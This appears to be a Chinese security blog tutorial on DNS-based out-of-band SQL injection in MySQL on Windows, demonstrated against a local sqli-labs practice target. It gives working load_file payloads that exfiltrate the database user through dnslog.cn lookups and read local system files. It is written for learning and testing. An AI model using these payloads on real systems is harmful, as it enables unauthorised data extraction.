zoukankan      html  css  js  c++  java
  • 利用DNS实现SQL注入带外查询(OOB)

    根据用于数据检索的传输信道,SQLi可分为三个独立的类别:inference(经典SQL注入),inband(盲注、推理注入、带内注入)和out-of-band

    一、什么是OOB

    out-of-band带外数据(OOB)与inband相反,它是一种通过其他传输方式来窃取数据的技术(例如利用DNS解析协议和电子邮件)。OOB技术通常需要易受攻击的实体生成出站TCP/UDP/ICMP请求,然后允许攻击者泄露数据。OOB攻击的成功基于出口防火墙规则,即是否允许来自易受攻击的系统和外围防火墙的出站请求。而从域名服务器(DNS)中提取数据,则被认为是最隐蔽有效的方法。

    二、利用原理

    1、常规SQL注入,获取服务器信息的方式

    2、SQL注入利用DNS获取查询结果(OOB)

    我们需要一个三级域名服务器(nameserver)也是DNS服务器(DNS Server),也就是下图的schloar服务器。
    还需要配置域名“www.scholar.com”对应的解析IP地址为“schloar服务器”的IP地址。
    这样就能够实时地监控域名查询请求了,图示如下:

    三、利用条件

    需要windows环境

    1、DBMS中需要有可用的,能直接或间接引发DNS解析过程的子程序,即使用到UNC

    2、Linux没有UNC路径,所以当处于Linux环境,不能使用该方式获取数据

    四、环境搭建

    1、Windwos操作系统

    2、Mysql数据库服务

    3、互联网上有已经准备好的域名服务器和DNS服务器环境

    DNSLog.cn

    CEYE

    五、OOB复现

    1、首先打开DNSLog.cn网站

    2、打开windows客户端DOS

    ping q5i9by.dnslog.cn
    

    结果如下图:

    3、进入Windows客户端Mysql服务

    select load_file("////xxx.q5i9by.dnslog.cn//x.txt");
    select load_file(concat("\\",user(),".q5i9by.dnslog.cn//aa.txt"));
    

    注:

    1、\转义后即为

    2、concat将(1,2,3)拼接在一起形成123

    六、利用SQL注入漏洞外带查询

    直接上payload

    http://127.0.0.1/PTE/sqli-labs/Less-1/?id=1' and load_file(concat("\\",user(),".gq95nz.dnslog.cn\xxx.txt"))-- 
    

    file

    file

    七、OOB引申的扩展知识

    1、Mysql内置函数load_file()不仅能对www.test.com这样的URL发起请求,还能够加载本地文件,如下:

    select load_file("C:\WINDOWS\system32\drivers\etc\hosts");
    

    show variables like '%secure%';查看load_file()可以读取的磁盘。

    (1)当secure_file_priv为空,就可以读取磁盘的目录。

    (2)当secure_file_priv为G:,就可以读取G盘的文件。

    (3)当secure_file_priv为null,load_file就不能加载文件。

    通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

    2、不同DBMS中使用的方法,参考如下链接
    https://blog.csdn.net/u014029795/article/details/105214129

    3、UNC定义
    UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器.。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似softer这样的形式的网络路径
    格式: servernamesharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
    目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:servernamesharenamedirectoryfilename

    参考链接

    https://blog.csdn.net/u014029795/article/details/105214129
    https://www.freebuf.com/articles/web/201013.html
    https://www.cnblogs.com/-qing-/p/10623583.html

    声明

    严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

  • 相关阅读:
    26 转义符 re模块 方法 random模块 collection模块的Counter方法
    25 正则表达式
    24 from 模块 import 名字
    24 from 模块 import 名字
    24 from 模块 import 名字
    23 析构方法 items系列 hash方法 eq方法
    21 isinstance issubclass 反射 _str_ _new_ _len_ _call_
    20 属性, 类方法, 静态方法. python2与python3的区别.
    python(1)
    python之字符串格式化
  • 原文地址:https://www.cnblogs.com/renhaoblog/p/12912452.html
Copyright © 2011-2022 走看看